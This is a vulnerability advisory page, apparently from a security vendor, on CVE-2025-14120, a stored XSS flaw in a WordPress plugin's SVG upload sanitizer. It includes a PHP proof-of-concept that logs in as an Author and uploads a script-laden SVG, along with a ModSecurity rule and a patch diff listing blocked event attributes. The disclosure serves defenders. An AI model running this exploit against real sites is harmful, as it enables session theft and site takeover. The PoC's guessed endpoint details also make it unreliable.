{
“analysis”: “Atomic Edge analysis of CVE-2025-14120:nThis vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the URL Image Importer WordPress plugin. The vulnerability exists in the plugin’s SVG file upload sanitization function. Attackers with Author-level access or higher can upload a malicious SVG file containing script payloads. The plugin fails to properly sanitize this content, leading to stored XSS that executes when the SVG file is accessed.nnAtomic Edge research identified the root cause in the `uimptr_sanitize_svg_content` function within the main plugin file `url-image-importer.php`. The original function, spanning lines 171-196, used an insufficient blacklist approach. It only removed a limited set of dangerous elements and attributes, and its regex patterns for removing `javascript:` and `data:` URLs were incomplete. The function did not cover numerous SVG-specific event handlers, animation elements, and other XSS vectors, allowing malicious scripts to bypass sanitization.nnThe exploitation method requires an attacker to have an Author-level WordPress account. The attacker uploads a crafted SVG file via the plugin’s image import functionality. The malicious SVG contains script payloads within event attributes like `onload` or `onmouseover`, or uses elements like “ or “. Once uploaded, the SVG file is stored in the WordPress media library. Any user or visitor who accesses the direct URL to this SVG file will have the embedded scripts executed in their browser context, potentially leading to session hijacking or administrative actions.nnThe patch, applied in version 1.0.8, fundamentally changes the sanitization strategy. The updated `uimptr_sanitize_svg_content` function, now spanning lines 171-273, first attempts to use the robust `enshrined/svg-sanitize` library for whitelist-based sanitization. If the library is unavailable, it employs a significantly expanded fallback blacklist. This fallback adds many dangerous elements like `foreignobject` and `handler`, and includes a comprehensive list of event attributes covering DOM, SVG animation, and media events. The patch also improves URL scheme filtering to include `vbscript:` and `xlink:href` attributes, and adds regex patterns to remove dangerous “ and “ elements targeting event handlers, and “ elements with external references.nnSuccessful exploitation leads to stored cross-site scripting. An attacker can inject arbitrary JavaScript that executes in the context of any user viewing the malicious SVG. This can result in session cookie theft, account takeover, redirection to malicious sites, or performing actions on behalf of the victim user. For administrators, this could lead to full site compromise, such as injecting backdoors or creating new administrator accounts.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-14120 – URL Image Importer <= 1.0.7 – Authenticated (Author+) Stored Cross-Site Scripting via SVG File Uploadn<?phpnn$target_url = 'http://vulnerable-wordpress-site.com';n$username = 'author_user';n$password = 'author_password';nn// Malicious SVG payload with multiple XSS vectorsn$svg_payload = 'nn alert(“Atomic Edge XSS via script element”)n n n n alert(“Atomic Edge XSS via foreignobject”)n n n Click men’;nn// Step 1: Authenticate to WordPress and obtain nonce for uploadn$login_url = $target_url . ‘/wp-login.php’;n$admin_ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);n$response = curl_exec($ch);nn// Step 2: Extract the nonce required for the plugin’s upload actionn// The plugin likely uses a nonce for the ‘uimptr_import_images’ AJAX actionn// This step may require visiting the plugin’s admin page to get a fresh noncen// For this PoC, we assume the nonce is known or the plugin does not require one for this action in vulnerable versionsnn// Step 3: Upload the malicious SVG via the plugin’s AJAX endpointn// The exact AJAX action parameter name may vary; common patterns include ‘uimptr_import_images’ or similarncurl_setopt($ch, CURLOPT_URL, $admin_ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);nn// Create a temporary file with the SVG payloadn$tmp_svg = tempnam(sys_get_temp_dir(), ‘xss’) . ‘.svg’;nfile_put_contents($tmp_svg, $svg_payload);nn$post_fields = [n ‘action’ => ‘uimptr_import_images’, // Hypothetical action name; adjust based on actual pluginn ‘image_urls’ => ‘data:image/svg+xml;base64,’ . base64_encode($svg_payload)n // Alternatively, the plugin might accept direct file uploads via multipart/form-datan];nncurl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);n$response = curl_exec($ch);nn// Step 4: Parse response to get the URL of the uploaded SVGn// The response likely contains a JSON object with the attachment ID or direct URLn$upload_data = json_decode($response, true);nif (json_last_error() === JSON_ERROR_NONE && isset($upload_data[‘url’])) {n $svg_url = $upload_data[‘url’];n echo “Malicious SVG uploaded successfully. Access at: ” . $svg_url . “\n”;n echo “When accessed, the SVG will execute multiple XSS payloads.\n”;n} else {n echo “Upload may have succeeded. Check WordPress media library for the SVG file.\n”;n}nncurl_close($ch);nunlink($tmp_svg);nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-14120nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:10014120,phase:2,deny,status:403,chain,msg:’CVE-2025-14120: URL Image Importer SVG XSS via AJAX’,severity:’CRITICAL’,tag:’CVE-2025-14120′,tag:’WordPress’,tag:’Plugin’,tag:’XSS'”n SecRule ARGS_POST:action “@streq uimptr_import_images” “chain”n SecRule ARGS_POST:image_urls “@rx data:image/svg\+xml[^,]*base64[^,]*]*>” \n “t:lowercase,t:urlDecodeUni,ctl:auditLogParts=+E””
}

CVE-2025-14120: URL Image Importer <= 1.0.7 – Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload (url-image-importer)
CVE-2025-14120
url-image-importer
1.0.7
1.0.8
Analysis Overview
Differential between vulnerable and patched code
--- a/url-image-importer/url-image-importer.php
+++ b/url-image-importer/url-image-importer.php
@@ -3,14 +3,14 @@
*
* Plugin Name: URL Image Importer
* Description: A plugin to import multiple images into the WordPress Media Library from URLs.
- * Version: 1.0.7
+ * Version: 1.0.8
* Author: Infinite Uploads
* Author URI: https://infiniteuploads.com
* Text Domain: url-image-importer
* License: GPL2
*
* @package UrlImageImporter
- * @version 1.0.7
+ * @version 1.0.8
*/
if ( ! defined( 'ABSPATH' ) ) {
@@ -20,7 +20,7 @@
$upload_dir = wp_upload_dir();
define( 'UIMPTR_PATH', plugin_dir_path( __FILE__ ) );
-define( 'UIMPTR_VERSION', '1.0.7' );
+define( 'UIMPTR_VERSION', '1.0.8' );
define( 'UPLOADBLOGSDIR', $upload_dir['basedir'] ); // Use basedir for root uploads folder, not path (current month)
// Composer autoload for PSR-4 classes
@@ -171,20 +171,73 @@
}
/**
- * Sanitize SVG content for security
+ * Sanitize SVG content for security using whitelist-based sanitization
+ *
+ * Uses the enshrined/svg-sanitize library for comprehensive XSS protection.
+ * Falls back to an extended blacklist approach if the library is unavailable.
+ *
+ * @param string $content The raw SVG content to sanitize
+ * @return string|false The sanitized SVG content, or false if sanitization fails
*/
function uimptr_sanitize_svg_content( $content ) {
- // Remove potentially dangerous elements and attributes
+ // Try to use the enshrined/svg-sanitize library (recommended approach)
+ if ( class_exists( '\enshrined\svgSanitize\Sanitizer' ) ) {
+ $sanitizer = new enshrinedsvgSanitizeSanitizer();
+ $sanitizer->minify( true );
+ $sanitized = $sanitizer->sanitize( $content );
+
+ // The library returns false if sanitization fails
+ if ( $sanitized === false ) {
+ return false;
+ }
+
+ return $sanitized;
+ }
+
+ // Fallback: Extended blacklist-based sanitization if library is not available
+ // This includes comprehensive coverage of all known XSS vectors in SVG
+
+ // Dangerous elements that can execute scripts or load external content
$dangerous_elements = array(
'script', 'object', 'embed', 'link', 'style', 'meta', 'iframe',
- 'frame', 'frameset', 'form', 'input', 'button', 'textarea'
+ 'frame', 'frameset', 'form', 'input', 'button', 'textarea',
+ 'foreignobject', 'handler', 'listener'
);
+ // Comprehensive list of dangerous event attributes including SVG animation events
$dangerous_attributes = array(
+ // Standard DOM events
'onload', 'onclick', 'onmouseover', 'onerror', 'onmouseout',
'onmousemove', 'onmousedown', 'onmouseup', 'onfocus', 'onblur',
'onkeydown', 'onkeyup', 'onkeypress', 'onchange', 'onselect',
- 'onsubmit', 'onreset', 'onabort', 'onunload', 'onresize'
+ 'onsubmit', 'onreset', 'onabort', 'onunload', 'onresize',
+ 'ondblclick', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave',
+ 'ondragover', 'ondragstart', 'ondrop', 'oninput', 'oninvalid',
+ 'onscroll', 'onwheel', 'oncopy', 'oncut', 'onpaste',
+ 'oncontextmenu', 'ontouchstart', 'ontouchmove', 'ontouchend', 'ontouchcancel',
+ 'onpointerdown', 'onpointermove', 'onpointerup', 'onpointercancel',
+ 'onpointerenter', 'onpointerleave', 'onpointerover', 'onpointerout',
+ 'ongotpointercapture', 'onlostpointercapture',
+
+ // SVG animation events (SMIL)
+ 'onbegin', 'onend', 'onrepeat', 'onactivate',
+
+ // SVG-specific events
+ 'onfocusin', 'onfocusout', 'onzoom',
+
+ // Media events (for SVG media elements)
+ 'onplay', 'onpause', 'onended', 'onvolumechange', 'ontimeupdate',
+ 'oncanplay', 'oncanplaythrough', 'ondurationchange', 'onemptied',
+ 'onloadeddata', 'onloadedmetadata', 'onloadstart', 'onprogress',
+ 'onratechange', 'onseeked', 'onseeking', 'onstalled', 'onsuspend',
+ 'onwaiting', 'onplaying',
+
+ // Other dangerous attributes
+ 'onafterprint', 'onbeforeprint', 'onbeforeunload', 'onhashchange',
+ 'onmessage', 'onoffline', 'ononline', 'onpagehide', 'onpageshow',
+ 'onpopstate', 'onstorage', 'onanimationstart', 'onanimationend',
+ 'onanimationiteration', 'ontransitionend', 'ontransitionstart',
+ 'ontransitionrun', 'ontransitioncancel'
);
// Remove dangerous elements
@@ -193,14 +246,20 @@
$content = preg_replace( '#<' . $element . '[^>]*/?>#is', '', $content );
}
- // Remove dangerous attributes
+ // Remove dangerous attributes (handles quoted and unquoted values)
foreach ( $dangerous_attributes as $attr ) {
$content = preg_replace( '#s' . $attr . 's*=s*["'][^"']*["']#is', '', $content );
$content = preg_replace( '#s' . $attr . 's*=s*[^>s]*#is', '', $content );
}
- // Remove javascript: and data: URLs
- $content = preg_replace( '#(href|src|action)s*=s*["']?s*(javascript|data):[^"'>s]*#is', '', $content );
+ // Remove javascript:, data:, and vbscript: URLs from href, src, xlink:href, and action attributes
+ $content = preg_replace( '#(href|src|action|xlink:href)s*=s*["']?s*(javascript|data|vbscript):[^"'>s]*#is', '', $content );
+
+ // Remove set and animate elements that target dangerous attributes
+ $content = preg_replace( '#<(set|animate)[^>]*(attributeNames*=s*["']?(on[a-z]+)["']?)[^>]*/?>#is', '', $content );
+
+ // Remove use elements with external references (potential XSS vector)
+ $content = preg_replace( '#<use[^>]*xlink:hrefs*=s*["']?https?://[^"'>s]*#is', '<use', $content );
return $content;
}
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
Frequently Asked Questions
What is CVE-2025-14120?
Overview of the vulnerabilityCVE-2025-14120 is a stored cross-site scripting (XSS) vulnerability in the URL Image Importer plugin for WordPress, affecting versions up to and including 1.0.7. It allows authenticated users with Author-level access to upload malicious SVG files that can execute arbitrary scripts when accessed.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient sanitization of SVG files during the upload process. Attackers can embed scripts in SVG files that are stored in the WordPress media library, leading to script execution in the context of any user who views the SVG.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the URL Image Importer plugin version 1.0.7 or earlier is vulnerable. Specifically, authenticated users with Author-level permissions or higher can exploit this vulnerability.
How can I check if my site is vulnerable?
Steps to assess vulnerabilityTo check if your site is vulnerable, verify the version of the URL Image Importer plugin installed. If it is version 1.0.7 or earlier, your site is at risk. Additionally, review the media library for any SVG files uploaded through the plugin.
How can I fix or mitigate this issue?
Recommended actionsThe vulnerability has been patched in version 1.0.8 of the URL Image Importer plugin. Update the plugin to the latest version immediately to mitigate the risk. Additionally, consider implementing security measures such as a web application firewall.
What does the CVSS score of 6.4 indicate?
Understanding risk levelsA CVSS score of 6.4 indicates a medium severity risk. This means that while the vulnerability is not critical, it can still lead to significant security issues, such as session hijacking or unauthorized actions on behalf of users.
What is stored cross-site scripting (XSS)?
Definition and implicationsStored XSS occurs when an attacker is able to inject malicious scripts into content that is stored on a server and later served to users. This type of attack can lead to the execution of scripts in the context of a user’s browser, potentially compromising user data.
What is the proof of concept (PoC) for this vulnerability?
Demonstration of exploitationThe PoC demonstrates the exploitation of CVE-2025-14120 by showing how an authenticated user can upload a malicious SVG file containing XSS payloads. The provided PHP script outlines the steps to authenticate, upload the SVG, and access it to trigger the XSS.
What changes were made in the patched version?
Improvements in sanitizationIn version 1.0.8, the sanitization function was significantly improved by adopting a whitelist-based approach using the enshrined/svg-sanitize library. If the library is unavailable, an expanded blacklist is used to remove dangerous elements and attributes.
How can I protect my WordPress site from similar vulnerabilities?
Best practices for securityTo protect your site, regularly update all plugins and themes to their latest versions, implement a web application firewall, and conduct regular security audits. Additionally, limit user permissions and monitor uploads to the media library.
What should I do if I suspect an exploit has occurred?
Response stepsIf you suspect an exploit, immediately remove any suspicious SVG files from the media library, change passwords for affected accounts, and review access logs for unauthorized activity. Consider restoring from a backup if necessary.
Where can I find more information about this vulnerability?
Additional resourcesMore detailed information about CVE-2025-14120 can be found in the official CVE database, security advisories from WordPress, and discussions in security forums. Keeping abreast of security news related to WordPress is also advisable.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






